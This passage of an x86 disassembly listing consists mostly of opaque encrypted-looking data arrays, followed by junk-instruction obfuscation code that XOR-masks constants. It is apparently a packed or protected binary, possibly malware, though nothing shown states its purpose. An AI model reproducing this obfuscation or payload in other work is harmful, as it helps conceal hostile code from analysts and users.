0A2D2EE7h, 0C76DFDFDh dd 0BD9E737Eh, 0D70011DFh, 857B0FBAh, 0BA715E91h, 5C632154h dd 0DFC291C4h, 43E1EE9Fh, 0AF36AE94h, 7EC6EBCDh, 712C0F52h dd 4C32E871h, 0BFF1D2C5h, 76549778h, 0C7AD75ECh, 0E1E6C84Fh dd 286B78BFh, 0C40C745h, 5172B588h, 0AB6A280Eh, 9B9B4E2Ch dd 45F41D97h, 0E873A15Fh, 0A51BFEC5h, 0BA993ED7h, 0B0DD876Bh dd 600F4CC5h, 0ACF37AB1h, 0AD0E17ABh, 120DB1h, 8FCC4B00h dd 2A31E3B1h, 0C9927E4Ch, 66F51DEBh, 5BBA88h, 0F2E58722h dd 8C5A3823h, 25F3D18Ah, 0C18F6DEEh, 5B2D0B50h, 6C0EF077h dd 0B99384D5h, 4A11041Ah, 0E8739E6Ch, 89D24402h, 30A830A6h dd 0C76AC7A9h, 26094C7Eh, 4E0D04C1h, 5A682D2Bh, 520B07D1h dd 48C98D70h, 30DF7C96h, 0CF8C8452h, 8EA71E9h, 8D7EC859h dd 68AC674Ah, 0F5D4B2A9h, 0A87EE3E6h, 85583BC2h, 63DD78C0h dd 0C12CFADCh, 56BF7F78h, 6C1BE205h, 2D1DFF86h, 5FA278C1h dd 764DC0B0h, 0F261365Ch, 5679E234h, 352CAC8Fh, 0F87FA570h dd 8136FC16h, 86A9589Bh, 0A32A10BFh, 7B30109Ch, 8FCDD398h dd 0A6BCBE26h, 2C9EC6Fh, 0B0F37053h, 4E948D8Dh, 0EF6CAA68h dd 0A42205CCh, 2525681Dh, 7C62A575h, 2D9B7D04h, 0DD207525h dd 53BE7CFAh, 0B55C2A08h, 3B086FA6h, 98F9153Ch, 11199Ch dd 83D83F00h, 1E3DD7A5h, 0BD9E7240h, 5A0111DFh, 0F467AE7Ch dd 0E6F17B16h, 804E2C2Fh, 19E7C596h, 0B58361FAh, 4F21FF5Ch dd 6D02E46Bh, 0AD8784D5h, 170D040Eh, 0C76BAE90h, 9D73337Eh dd 3D600FBEh, 0BFBB7A3Fh, 0E2CC874Ah, 0C79A7FFFh, 785E0D4Eh dd 0C0D0FEF1h, 9A80C378h, 3E213ADCh, 3DB3EC8h, 8EE0A51Dh dd 11946377h, 0D4EC5F1h, 231A9D2Ah, 9CDF72BAh, 14966C79h dd 762472BAh, 88BFA01h, 0FEC3EA96h, 0FC65F484h, 0BDFEE16Ah dd 3Ah, 9D148E4h, 23EDAB23h, 0EC85538h, 5378BFB5h, 0A76C2A10h dd 1D14F67Dh, 569978C0h, 5A32C9A7h, 0D678C01Dh, 0D3271E11h dd 0DF01C8Bh, 0B593C849h, 0C2F2CE7h, 105110h, 8C4AAD00h dd 35179E86h, 0BA7EC76Bh, 65E5C877h, 0B94026FCh, 78B96B48h dd 2A0C930Dh, 0AF78B96Ch, 19D7BD6Ch, 0B78563F8h, 0A31B015Ah dd 0B96C3A1Ch, 997CBF78h, 267BDEDEh, 0DCC271EAh, 0AB661755h dd 2B115472h, 0D9B7A46Dh, 3255060Bh, 11F72F32h, 0A385578Ah dd 22599C6Ch, 1DBD129Fh, 0EF4541A2h, 6900000Fh, 1CFADAEh dd 9C6A4813h, 3B09E774h, 0D8A684D7h, 0A5401E3Dh, 560510C7h dd 0EF6CAA78h, 8BD04311h, 2932DFADh, 0E95794Bh, 84D56E2Ch dd 4A38D7B1h, 0EFD2898Ch, 0C76B8C62h, 0CB4A087Eh, 0C3A66D90h dd 684DE43h, 31FFE301h, 8D6FF6DCh, 127EC7FDh, 0B33A20CFh dd 78B9F6ADh, 0C38167AAh, 612F0D4Eh, 8888ABB0h, 0DC634991h dd 72B310E9h, 97346BAEh, 0AA17AE7Fh, 0F744D49h, 33E40000h dd 987C4A28h, 0F917E5C3h, 5CB68462h, 0C25321FFh, 4C20BB99h dd 0F3D18A8Bh, 8C6AF125h, 280655BEh, 0C6A4B75Ah, 0A78910F4h dd 2C84D56Eh, 854AB352h, 8C9287F1h, 4206E9B2h, 25698CCFh dd 0FA4C6FECh, 0E99CA318h, 0A2DE88A7h, 9D3h, 9D148C9h dd 0AAB16523h, 7DDE3C87h, 10005B2Bh, 12F47B61h, 977EC80Bh dd 7BF37154h, 250853BDh, 0BA057D98h, 44098178h, 0F6B7CE5Ah dd 0A4867B9Ah, 0E278B995h, 40072A31h, 0E4779B5Bh, 0BE570235h dd 0D68D932Eh, 4D3376F3h, 0FBD9828Fh, 39F3E42Dh, 13ADBA41h dd 91DEEC34h, 2C79595Eh, 774D5A7Dh, 0F178BA52h, 0FBDC3568h dd 74F8986Fh, 0FCE291A4h, 0BA689375h, 26D51878h, 79C6B940h dd 0C58A72B3h, 28BB995Eh, 260A3D63h, 0C28DFF74h, 3F82FFE2h dd 0AE1DCD08h, 17137417h, 0E8Ah, 341249CEh, 0CFADAE66h dd 6E4C0F01h, 0BE972A0h, 0A583D83Dh, 0A075620Ah, 70FDDBBh dd 6BA87654h, 0CD4412F0h, 0FADEB08Eh, 0D56F9173h, 9D3C1684h dd 684E0D04h, 32B96BAAh, 7EC76B50h, 0E392D5h, 4B100145h dd 8FF4D628h, 88B50D78h, 8E57EDEh, 4AA50000h, 4E52858Ch dd 0AA97A7CFh, 632A4DFCh, 611DF380h, 82977EC8h, 14EF765Ch dd 9978BA5Bh, 33F87056h, 95799678h, 4B0FF206h, 62F918C6h dd 913F57Ch, 559878BAh, 7B40C8A6h, 0AFFD3C64h, 91343CB5h dd 9670D1D5h, 0D14004E7h, 0F267678Ah, 9CE462Ch, 26703CB3h dd 0A343BBE8h, 2E4EF528h, 4C3FCCAFh, 1172B348h, 484897CEh dd 98F917AEh, 0DC59Ch, 0D7849300h, 72E92BF9h, 114AC694h dd 0AEAD6533h, 481302D0h, 3A9DCF6Ah, 0D4A280DBh, 6D3B1942h dd 9D7B5A6h, 0A3755308h, 705638BFh, 1DB84D5h, 4E0D0462h dd 312AE72Bh, 2EECBC0Eh, 0D3B53CE8h, 587EC76Ah, 0F3836615h dd 0B50E778Ch, 8240DE88h, 0DEA5C893h, 819BAFBh, 0AC80000h dd 0B705308h, 2309D148h, 0B965F49Ch, 8EE3178h, 0B694C74Ah dd 4C3229E8h, 6D6B4DD4h, 0ADF078B9h, 2C020FCAh, 0A878B96Dh dd 4C2F2CEAh, 0A78D55CCh, 0B27F2D20h, 78AFF272h, 17AF1131h dd 27736FD0h, 3100000Dh, 0C99775E6h, 6432104Bh, 3D1AFACh dd 0A06E4C0Fh, 6D08E675h, 1E3DD8FFh, 0B7A47240h, 53080BD9h dd 0F16AA775h dd 0D65D4113h, 84D570F4h, 4A009F79h, 6B694BD2h, 0ABEE7EC7h dd 4E0D04C8h, 8769F068h, 0C7EC76Bh, 0E72BE6C9h, 0CA0E312Ah dd 0ABEF1249h, 0A8D1F467h, 92190F74h, 7EC76BB0h, 943F235h dd 7CC5027h, 37ED4E0Ch, 0B6553815h, 0DE880ACFh, 0D153C17Fh dd 0C80E684Ah, 0FBAAED7Eh, 751D718h, 3BFE0000h, 7EC76B58h dd 0F42247DAh, 4BD2B867h, 78B96586h, 1CDAC003h, 0BA8866F5h dd 0E1E10457h, 35BCA278h, 72B2809Ah, 8E255C9Fh, 7317AF0Eh dd 0C701612h, 2FE80000h, 94804E2Ch, 0F51BE9C7h, 58BA8866h dd 0BE572503h, 4824BF9Dh, 0F7D5868Fh, 906EED29h, 2C0A51C2h dd 0CAA8B35Eh, 0AB8D14F8h, 3084D571h, 0D04B756h, 0B52D2B4Eh dd 0C76B4C2Eh, 0AB8ED17Eh, 0E312AE7h, 0EC70474Fh, 9578E32Eh dd 351B40D1h, 6B5436BDh, 81927EC7h, 0F47BF5DAh, 7EC76B12h dd 0C2A55497h, 0B1E2A34Ch, 56A9DE88h, 0D0000001h, 90170D04h dd 7EC76BAEh, 1E41F033h, 462437DAh, 977DA5BCh, 0E88B5A1Fh dd 0CB4EFE5Ah, 0DD885BE8h, 4E0C78C0h, 0AD7497C4h, 0E70A4DCAh dd 0C0BD04DAh, 9FE49278h, 8F631D68h, 4C6EE4h, 0BE7C0000h dd 0BB200358h, 0E485D148h, 8567855Ch, 0D568B004h, 3648D3A2h dd 0A352090Ah, 835F36BDh, 99DC78C0h, 23936976h, 852178C1h dd 23A4860Dh, 34E278C1h, 583D0427h, 0DDA23215h, 8EF95F26h dd 0E531EFE4h, 0A98C5376h, 0BE68h, 0D048F00h, 2EE72B4Eh dd 74CABAA9h, 0C8420BEDh, 1A4D907Eh, 9B4A0AFFh, 61EF7B5h dd 0C8069D7Fh, 30DF227Eh, 0C34E924Dh, 0E0317598h, 57159D7Bh dd 0B37A9DBEh, 327343D0h, 68A97EC7h, 0EBD9E76h, 7DE46328h dd 6A8DCE44h, 4D7770A3h, 1A933B6Eh, 59CB1474h, 0E3760076h dd 1CCE553Bh, 6178BDEAh, 0BB73381Eh, 97B93C05h, 0AD6BE9CCh dd 0BF9C7668h, 0B1643210h, 0EA4A73AAh, 56B711A2h, 0AF95Ah dd 0A3B85F00h, 3E1DF7C5h, 0DD7E9260h, 7AE131FFh, 1447CE9Ch dd 6D19B36h, 0A06E4C0Fh, 3907E576h, 0D5A381DAh, 6F411F3Ch dd 7322048Bh, 0CDA784D5h, 4A11042Eh, 6B739E6Ch, 0CB92B5A6h dd 4CF3E1Ch, 0E72B4E0Dh, 0CD53312Ah, 55Bh, 9D1486Ah, 888D9C23h dd 478A78BFh, 51411724h, 9D7778C0h, 0BE579BBEh, 0EE807A9Dh dd 5AF6CA89h, 0E0970395h, 0B295F330h, 0DFA65D22h, 0ACE48FE1h dd 24Ch, 6B5E3BD3h, 41D87EC7h, 1EF5B399h, 72CF1A3Dh, 0C6EFB394h dd 7CFADD8Ch, 0BA4822F5h, 2BE8A678h, 8DD04D30h, 0AF28E9A7h dd 0E43FDDAEh, 0B35D89E0h, 0FBE85A8h, 0ADAE6331h, 45CE8C8Ah dd 492CF316h, 0A48A50C9h, 0B2BE821Dh, 0D448772h, 17AECFFAh dd 23EAE647h, 3500000Ah, 0CD9B79E2h, 68361447h, 7D5B3A8h dd 0A472500Bh, 710CEA71h, 2239DCFBh, 0BBA07644h, 57040FDDh dd 0F566AB79h, 0DA614517h, 84D573F8h, 404A37Dh, 0A3684E0Dh dd 0C24FD476h, 0F16223B2h, 0EA0894C7h, 8BCF8A6Dh, 0F3B2D586h dd 0C74A94EBh, 780DB694h, 0D6DE883Bh, 7A5DFE18h, 19739h dd 0D046000h, 6F2D2B4Eh, 0CE95B8A3h, 3AEA27EBh, 6B593BC2h dd 9BDE7EC7h, 0C76AC4A6h, 5706497Eh, 0B46AEF79h, 7A7447CEh dd 0B6F978C0h, 3FD79593h, 0D6AC391Ch, 0C78C059h, 2536DA04h dd 698C3B02h, 4B6EED25h, 0CA89EE22h, 0CC7348F6h, 0E48FC6B9h dd 34D2h, 0D148F900h, 0B1D4878Ch, 655BEEAh, 13EA7157h dd 9078BF9Bh, 471D2A4Dh, 0D578C03Bh, 0DAAB5027h, 74E48FE1h dd 0BC7A5DB6h, 0C2A145D0h, 0F33417C6h, 0E2h, 4E0D041Ah dd 2D2EE72Bh, 6648CF47h, 0EB7EC76Bh, 4E71EA2Bh, 3AF5D887h dd 0E8EA773Ch, 1E6A48Bh, 0A4B75A1Eh, 840B8381h, 7EC865A2h dd 59B8E427h, 0B65B1F02h, 4C6FEC28h, 2DB65401h, 0A04F321Eh dd 0CD8B13F1h, 0A22F1249h, 7EC732C2h, 5C4219F8h, 0C4E7749Eh dd 0A6C99280h, 0D74D30DFh, 280ED44Dh, 68E18063h, 0C88FB2A9h dd 0C145B795h, 0C848583Ah, 0EB9ADD7Eh, 51038A08h, 9678BDEEh dd 66AF6D53h, 0CC4917F5h, 0CAB9588Fh, 278811A2h, 8AD2Bh dd 0EF6CAB00h, 8AD14311h, 2932DEACh, 0C6957D4Bh, 60FB1AE8h dd 5285E782h, 0ECBA98C3h, 8553312Ah, 21EFCD8Eh, 0BB8D6BF0h dd 756E50D7h, 19F384D5h, 0CD11047Ah, 2AF11447h, 42CF9D7Bh dd 0A9D3C195h, 0AD1F467h, 787C33D7h, 0ED25E3C9h, 0A1844B6Eh dd 0D04BC2Bh, 0F31645D1h, 5C5A7D2Ch, 25AC789Eh, 7EC76B43h dd 0F3D685C8h, 9379E22Fh, 48E25CEh, 987E3E9Ah, 2AD9A0C3h dd 0DC4BD147h, 0E8000002h, 2309D148h, 3724EDABh, 0F1214D14h dd 9D80476Ah, 0B96BAB10h, 2256878h, 0B96D1FF5h, 5311AD78h dd 68F321BDh, 0ACCF7E45h, 0D7202E5h, 0A3B85917h, 4CD3B980h dd 78B96D6Ah, 2AC9ACEFh, 0E496AF5Bh, 23830h, 95803E00h dd 0F9DCA3C6h, 6B5E3B94h, 41D87EC7h, 8F2CB399h, 8C78B96Bh dd 66E585C5h, 0FFAE4ACBh, 77DCA119h, 0BB67D2A4h, 0F3D55C42h dd 7878BA4Fh, 838E5235h, 0E52CFAD8h, 0CE535376h, 10AB3218h dd 1472B363h, 3C33159Ch, 0F8B872B3h, 0B1944318h, 61BAF134h dd 0E017AE2Ch, 78C837Fh, 4BCC0000h, 0B0643210h, 11FFCDABh dd 749E6C4Ah, 0DA3B09E7h, 6408A381h, 0DBB9A273h, 7452090Dh dd 10EE6DA6h, 0AE8CCF42h, 8F71F8DCh, 1484D576h, 0D049B3Ah dd 0B52D2B4Eh, 0C76B4C2Eh, 0AB8ED17Eh, 0E312AE7h, 0F594594Fh dd 0A12EB488h, 0B7A8F2CBh, 60803D84h, 4C96ED7Dh, 30B896C5h dd 0D5B8A372h, 88914F36h, 1733CDEh, 8C4A0000h, 9DBE548Ah dd 2104B37Ah, 4E0D04BCh, 312AE72Bh, 8A50C953h, 7B4A1DA4h dd 10CE78C0h, 6B325506h, 0A5C80B88h, 0C05BC298h, 0DDA25078h dd 8FC55F26h, 372CE4h, 48530000h, 9C2309D1h, 78BF9BC5h dd 5F41C842h, 0E478C03Bh, 0C09B75A1h, 0A66D2B11h, 0A17D2B5h dd 78C03B34h, 98AF14C2h, 0E48FE1EDh, 0ED6EA361h, 0DF2003CAh dd 0E5h, 4E0D0406h, 2EB52D2Bh, 7EC76B4Ch, 0E7AB8ED1h, 0C0A2D2Eh dd 7093C84Eh, 0F02C6A9h, 2CE5294Ch, 51C9512Fh, 0C76AE8CAh dd 0FE2A6D7Eh, 5C234615h, 0E13CEC79h, 0DF327EC6h, 0DA7407F8h dd 0ED9C1CC9h, 26088F07h, 0AB7EC718h, 870F8568h, 18A6880Fh dd 2FE47EC7h, 5D42092Ch, 187A5CE3h, 0BCFF7EC7h, 0B7AA2A0Dh dd 47CB896Fh, 2CB33114h, 78BCBE7Ah, 0B5D3F8BFh, 0DE7A8BAEh dd 8A8B492Fh, 0F025F3D1h, 2B1346Bh, 0EF5011A3h, 629F3h dd 73E82F00h, 0E4DC795h, 0ADAE6230h, 4A1101CFh, 0E4779E6Ch dd 0D6016B06h, 703E1C3Fh, 9D7B5A6h, 0A573510Ah, 3F11EF6Ch dd 77F2D45Bh, 9D7784D5h, 4A1104FEh, 726CA664h, 0CD94B7A4h dd 3DC53B1Eh, 0C84D917Fh, 0FAA97093h, 692D10D7h, 8CDB3A8h dd 247997A8h, 0E85E4136h, 4BD24A79h, 7EC76B69h, 4C8ABEEh dd 0AE90170Dh, 337EC76Bh, 0DA1E41F0h, 0C0462437h, 5Fh dd 858C4A5Dh, 6B36189Fh, 78BB7EC7h, 0AE62A6C9h, 14C38AADh dd 0D302BE8h, 729F6346h, 6B492BB2h, 8BCE7EC7h, 9C75B9DCh dd 6588D342h, 88CCEF9Eh, 6CB0D388h, 3594B7A4h, 249166Dh dd 7899453Ah, 0E431AD66h, 0DEA5C877h, 4AD1492Fh, 7EC76B68h dd 0CAED6EA6h, 0F8DB1E03h, 2FFC82h, 4990000h, 0C7FCA0Dh dd 0FF8A6CF3h, 0CC0F7EC7h, 1F22C699h, 69404D70h, 0AA7EC7E9h dd 7D3B2196h, 0DDA4C794h, 80DB36FAh, 2338DC9Ah, 0E0563900h dd 4E0D0471h, 0E8682D2Bh, 0C2FE7957h, 0BDA42407h, 87F87F65h dd 4C78B9C9h, 27D6858Ch, 508E8341h, 5EB9AC1h dd 0CB24068Dh, 66A978B9h, 0D23F0D83h, 76DEA389h, 43B1D76Bh dd 585813F6h, 753319C1h, 7E94C09Bh, 10F3BADDh, 2C551A92h dd 7CBE0D58h, 98BBA072h, 0B23F22D1h, 72AC1974h, 0CA886EB1h dd 68361447h, 8F8FB2A9h, 0E76E548Ah, 6CA437B4h, 707FB6F9h dd 911DBC60h, 4A83430h, 67B00000h, 0CC4816F4h, 2DE3B18Fh dd 9082502Eh, 0F61FEDCBh, 80EC8765h, 0BF9DBE57h, 583625F1h dd 0F4D2898Ah, 9270EB26h, 7355DCC0h, 0F884D579h, 0D24A7F1Eh dd 0C76B694Bh, 6516A07Eh, 30B33BEBh, 6125084Bh, 45CDABB0h dd 0ABCE8D87h, 9577FEE4h, 1A7EC7BEh, 0E130F4D7h, 5E1C947Ah dd 0BB82A5B6h, 0C7BDE4C6h, 0FFE1687Eh, 847EC7BDh, 36195C41h dd 81DA377Bh, 61FA1A5Eh, 4318FA3Eh, 0B99B2220h, 3E7EC7BEh dd 774C54FBh, 2798128h, 442239D8h, 885EEA9Bh, 0EF9F64DEh dd 104BC7E8h, 0A96641DDh, 6043F269h, 7E1Fh, 0D1484600h dd 24D3888Ch, 0A08C63Eh, 6B7A5C51h, 77FE7EC7h, 7EC76B95h dd 0AFF2D71Ah, 2FD5527Ch, 5134D53Fh, 8924CD3h, 5DD778C0h dd 0C06FF4D6h, 87367978h, 2B30E3A1h, 6FDEB64Dh, 0FD1478C0h dd 0AFAC6927h, 0EED0C58Ch, 7278C06Fh, 0C07009EBh, 664B8E78h dd 0CC1EF023h, 844527D3h, 0F76FF7D5h, 0C14F8E70h, 0EAD01378h dd 0C14F8163h, 0E0C30678h, 7E64F71Ch, 280B50C0h, 384716Dh dd 40E0000h, 0E72B4E0Dh, 0C953312Ah, 1DA48A50h, 78C07B4Ah dd 5C698CCFh, 78C05B86h, 0B116614h, 7093C84Dh, 5E27C6A9h dd 0F0E48FC5h, 74E6742Bh, 3088BBA0h, 519275C3h, 40h, 9D14878h dd 9BC59C23h, 824278BFh, 92C94A94h, 0C075C0E3h, 0C4E2A144h dd 69619443h, 654CAE3h, 47C6211h, 0C00D9B7Dh, 0FADD2078h dd 0D5C323Fh, 3CEA78C0h, 0FC5C047h, 0B3C6E490h, 0ED000000h dd 2B4E0D04h, 0A2D2EE7h, 1AC44E0Ch, 773E61FAh, 0FBDEA5C8h dd 0E5FDDA37h, 0B87F8643h, 8CD0F3A2h, 61F8D685h, 7EC78761h dd 43213AD7h, 9CBF9C75h, 775D859Ch, 0BFA775F0h, 19F73A78h dd 961D8A8Fh, 78C058B4h, 6147F639h, 0B6032EDAh, 4A307372h dd 0ECD2898Ch, 0AB0BED74h, 4D9072B6h, 0EF26F46Ah, 0BDC4356Ch dd 0DC3D17AAh, 29DE0h, 0FF5CBB00h, 9AC15321h, 3922EEBCh dd 0D6858D5Bh, 70EB2AF8h, 6275F792h, 0FCCAA8B3h, 9563411Ah dd 31FFDD7Eh, 0CB9D7BE0h, 7B7E60E7h, 290384D5h, 4A11048Ah dd 0C6EC9F64h, 0D80B50C4h, 290CC6B9h, 2F2CE5B3h, 8C4AE251h dd 6FB3D685h, 2508B7A4h, 8066BCA5h, 60BE4308h, 0AB3B1DA4h dd 7DC07EC7h, 69CA34Ah, 9FBF9623h, 0F93C78BFh, 3EF3C9D6h dd 0D38178C0h, 0DD2E57ECh, 0A85DE48Fh, 84000000h, 2B4E0D04h dd 0A2D2EE7h, 0C76DFDFDh, 0BD9E737Eh, 5B0011DFh, 0F9213838h dd 8F118C13h, 93D678BFh, 0F0362BB5h, 0E67E830Ah, 0BC7A72B5h dd 0A7240754h, 55C07E64h, 0B1622006h, 8DC087AAh, 7D630286h dd 1775AB3h, 4279E233h, 17AAEB01h, 0CBE3DF40h, 8D000001h dd 25F3D18Ah, 0C08E6CEFh, 5F2D0B50h, 0FCCAA8B3h, 0C9644219h dd 7AE134A3h, 1348CE9Ch, 0AFAC6735h, 4D0E03D1h, 32B99D6Fh dd 84D57C50h, 45CFBD5h, 0AA8C1311h, 2F7EC76Bh, 0D75F3DECh dd 843AAD12h, 0C9ACDD49h, 694F0C05h, 9C7965ABh, 26D59CBFh dd 4A5ECD43h, 6B694BD2h, 0ABEE7EC7h, 6B5C3EC5h, 9EE17EC7h dd 411AF7BBh, 0ED37DA1Eh, 0C76B8466h, 17C6097Eh, 0B5A66B39h dd 951C9492h, 7EC76BB3h, 9212F538h, 0EA71578Fh, 78BF949Bh dd 36189F17h, 0BB78C03Dh, 9E189578h, 0C03D3517h, 1AFABA78h dd 0F85F9241h, 19B749B4h, 121E41F0h, 0E03DFA4h, 895C58C9h dd 0F4A34942h, 0C9958C16h, 39DC040Ch, 549DEF22h, 0B63D23D2h dd 72B814A3h, 77F65A8h, 0B8AD9E80h, 0FDE02372h, 4813FE42h dd 9EC49D62h, 27EFC6A5h, 0CD458944h, 0EA276B8Eh, 0C0A4E71h dd 83652C4Fh, 86CD8AF1h, 0ADAA0BD0h, 9CBF4F7Bh, 0CC5229B9h dd 20A78D55h, 6CB19E0Dh, 23F1CF12h, 64A6DEEh, 1F2B4E0Dh dd 110CAB1h, 6FF27C5Ah, 70DC7733h, 0FAA91A4Ch, 3A014F14h dd 7C3C19E2h, 45941B99h, 0C266AA49h, 0F9185C7Fh, 7E2D2EE5h dd 9AE14F5Bh, 8C4BC886h, 161A754Fh, 0E1C473D6h, 3C22F861h dd 0A38A66B5h, 0C2A0E360h, 0C7947C3Ah, 25FD64E4h, 2C76B83Fh dd 0FBBB5A96h, 561D401Bh, 0D14084A7h, 33DEAC8Ah, 0FEF80528h dd 61A74E90h, 19F82299h, 17DC6442h, 4E9481D3h, 6E7CAF59h dd 2971FB7Dh, 22EFB396h, 40D21639h, 7EECF81Bh, 0AA34DD39h dd 0B1BC7166h, 29A7D35h, 3EC6A453h, 0A3C69580h, 0FBAAB15Fh dd 9EBD5418h, 87F7Bh, 4A1C0000h, 0EED18A8Ch, 13043B46h dd 30E12548h, 4FC4082Bh, 71A5E90Ch, 9283C7EAh, 0B362A6C9h dd 0D14185A8h, 0ED23678Ah, 0D074B6Eh, 522A2B4Eh, 0B850E289h dd 4, 8358C201h, 148704EAh, 89575C24h, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 2414895Ch, 81E38953h, 4C3h, 4EB8100h dd 87000000h, 895C241Ch, 0BD552434h, 60DFF0Ch, 2C8BEA89h dd 4C48124h, 54000000h, 8124348Bh, 4C4h, 0D1895100h, 8B084E89h dd 0C481240Ch, 4, 5724348Bh, 0C781E789h, 4, 4C781h, 3C870000h dd 34FF5C24h, 0C4835A24h, 6768E904h, 9AEDFFF9h, 8756B42h dd 79B81CA2h, 3060E13h, 55E0FFC5h, 4C64CF7Fh, 6C45C854h dd 8904EFF1h, 0CB29E174h, 4F4EA7FFh, 0D97CE9F5h, 0BB61521Fh dd 65634C9Fh, 0C244EEEFh, 0CA42758Ah, 9E17C7F5h, 1F0373C9h dd 242B694Ch, 91DE412h, 4138922Ch, 8A41E7F5h, 0A45AB3D6h dd 8557A633h, 0E11DDA20h, 6C6D2149h, 0CC1D6850h, 87476031h dd 7A39279Ah, 2076D014h, 0E8291147h, 1D481A71h, 25725EECh dd 0EB221455h, 741F6C63h, 0E9201E6Eh, 21h, 152A256Bh, 7 dup(0) dd 52CE900h, 5BBC0000h, 0C0542200h, 21EFBD9Bh, 848E5C3Ah dd 0EA2BF9D7h, 74F89371h, 0CBA9B263h, 644219FDh, 0DE7D96h dd 9E7CDF32h, 7F61E8CCh, 484D57Fh, 0D048B2Ah, 2EE72B4Eh dd 90814F2Dh, 0AD64A8CBh, 6B0EF077h, 50937EC7h, 0DA3A7EA1h dd 37FF5E81h, 0AB17DC40h, 0BEC08CE3h, 937E4225h, 0F26AE2C8h dd 0C7C9896Bh, 0D6CB0E7Eh, 7EC7C8F4h, 0DD533679h, 7157040Fh dd 0D9FC5FB3h, 0EBB92F12h, 8F4D3328h, 0EAB1D487h, 0E084C07h dd 0B01E2A4Dh, 57040FCBh, 930AAC71h, 0C0EA7D7h, 6D2BB329h dd 0BCFB2A9h, 25325506h, 7EC7FE4Eh, 182F9476h, 0DE881E6Dh dd 431Eh, 0D044500h, 461E2B4Eh, 6E7EC76Bh, 7510378Ch, 16DE88B1h dd 1, 4B10043Dh, 2B30E428h, 0D4EC408h, 0FCC38BEAh, 4BE5F222h dd 68E4A8F8h, 200C43FDh, 8635BBD0h, 0E62BF9D7h, 41D18F75h dd 52C1371Ah, 58868C4Ah, 10F3A2B9h, 6F92C94Ch, 4F72E92Bh dd 2D338890h, 0DB38A66Fh, 2AEED180h, 62CBECEBh, 0EBD68696h dd 81905E3Ch, 9D73B7DAh, 0F61AD8BEh, 987B4265h, 7C43F1DDh dd 87C1CEC7h, 73BDDEh, 4E40000h, 0E3274A11h, 0AC0B2E2Dh dd 0D2439FE4h, 38DDAB89h, 42F16AA6h, 2437DB1Fh, 8856BD01h dd 0FD20CF8Ch, 0DD005BB9h, 75A1161Eh, 0D299BC9Fh, 0DAA14F23h dd 88B77025h, 601BDEh, 4420000h, 9F644A11h, 0AF8F70BEh dd 6621047Eh, 476AF122h, 284B1003h, 0B2E2DE4h, 6D2A91FFh dd 3BC23A5Ch, 7EC7ED59h, 28B89BDEh, 0CD8E8753h, 6DA967EFh dd 2104CBEEh, 4B1004BCh, 6B441B28h, 8A6C7EC7h, 30B72F35h dd 7EC76B4Eh, 0F0D259D3h, 757EC76Ah, 1A08332h, 0DE88B184h dd 107h, 0C042E00h, 29E82C4Fh, 0A7030F32h, 0E312AE9h, 0EFD46447h dd 0A07EDD33h, 0F5DB0316h, 0BF84E76Eh, 281DE478h, 8CB5F94Fh dd 91AC504Eh, 47F61CB1h, 842114h, 9847C42Eh, 7BE03175h dd 0B4961D95h, 3978C04Fh, 159D13F6h, 4F34169Dh, 76B978C0h dd 1942CF93h, 4F11E9F6h, 0CE4778C0h, 0EB266A8Dh, 0B094D70h dd 72662D50h, 0CFE0BF04h, 17FA249Bh, 66DE6644h, 0C04EFDDFh dd 5C3F8278h, 0BFE27998h, 0A2C5967Bh, 84A7B45Eh, 80AD440h dd 7581A453h, 3CE3B007h, 7E934F34h, 2F56FFDDh, 5CE48FCDh dd 179h, 9D14883h, 29EDAB23h, 6B9274FBh, 0D4177EC7h, 583B0225h dd 0C06F50CBh, 0CC4F1478h, 217F1D68h, 2D70EDD0h, 104BC60Ah dd 0AEAD6432h, 1C080AC8h, 0BFEBB395h, 46F53878h, 0BE795C23h dd 4B1002C0h, 0BA7E6128h, 22E10457h, 9879A51Ah, 7C18DDC3h dd 168845BBh, 0EB940AEDh, 0E4901B9Ah, 8CF1h, 0D0481800h dd 27D6858Fh, 6AB8BA41h, 0BE7CFEC7h, 1DE40754h, 577ABD3Ah dd 0C76B684Ah, 195EF0FEh, 0CE8C1901h, 42241942h, 80FEC76Bh dd 6BE5CA91h, 0C76B02E4h, 954487FEh, 0B03B00E6h, 812551D2h dd 686105FEh, 0A840C735h, 0DFC2997Ch, 0E52BE961h, 0A98C5376h dd 0C84B1A1Ch, 0F520DE7Eh, 0E40A0DE2h, 0D9881F25h, 4F31B8B6h dd 0D47EC819h, 82FFE291h, 220853C2h, 0C819B99Bh, 4CFB3E7Eh dd 8567EE66h, 0A7EC819h, 0E86EE4C7h, 8Dh, 9D14885h, 24EDAB23h dd 6A4D1437h, 0BF8AF2DDh, 5174B778h, 7957040Dh, 79E233F1h dd 1C3FD296h, 4A17ECF9h, 346878C0h, 0DD7E934Fh, 84D739F7h dd 2BA32BA1h, 0C049C2A4h, 21044778h, 0A42BB8A1h, 78C048C2h dd 6F550447h, 0B25AC0E8h, 0C536FD72h, 3E6124BAh, 0AEF215C4h dd 4D12F863h, 0B8906E53h, 5D3FC65Eh, 0E272B249h, 520DF09Fh dd 7BE3D846h, 955A40E6h, 9E777FB3h, 0EBE08ABDh, 5DE46245h dd 6CA3C535h, 0C9512F72h, 6E510A0Bh, 8CD14809h, 0E7AED18Ah dd 0A3CB5238h, 0DF78B97Dh, 0E4AE1D1Ah, 0BDA0C33Dh, 96DAFD40h dd 3402E07Bh, 0D3987EDDh, 0DA2F6EF6h, 8B0A0BD8h, 1A854DDBh dd 0C0CD886Bh, 8593D100h, 0C26025DBh, 71051FADh, 80F7876Ah dd 0C2A0BB56h, 8F071DF4h, 93FC2608h, 7368AB65h, 6593FC91h dd 0FCAC8E15h, 0EE316593h, 0F417C609h, 0D6F962B0h, 0B7DA8192h dd 9ABD9E73h, 19463D71h, 16C0B725h, 0B48260FBh, 0DFDBFE5Dh dd 3, 415207Ch, 0E1254813h, 0C4082B30h, 0A5E90C4Fh, 83C7EA71h dd 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 2C15h mov [esp], eax push 68B3h mov [esp], ebx sub esp, 4 mov [esp], ebx mov ebx, 2D300E42h mov eax, 333E22FAh sub eax, ebx pop ebx push 5093h mov [esp], esp add dword ptr [esp], 4 pop ebx push eax push esi mov esi, 48AA2798h xor [esp+4], esi pop esi pop dword ptr [ebx+8] xor dword ptr [ebx+8], 48AA2798h mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov eax, [esp] push edi mov edi, esp add 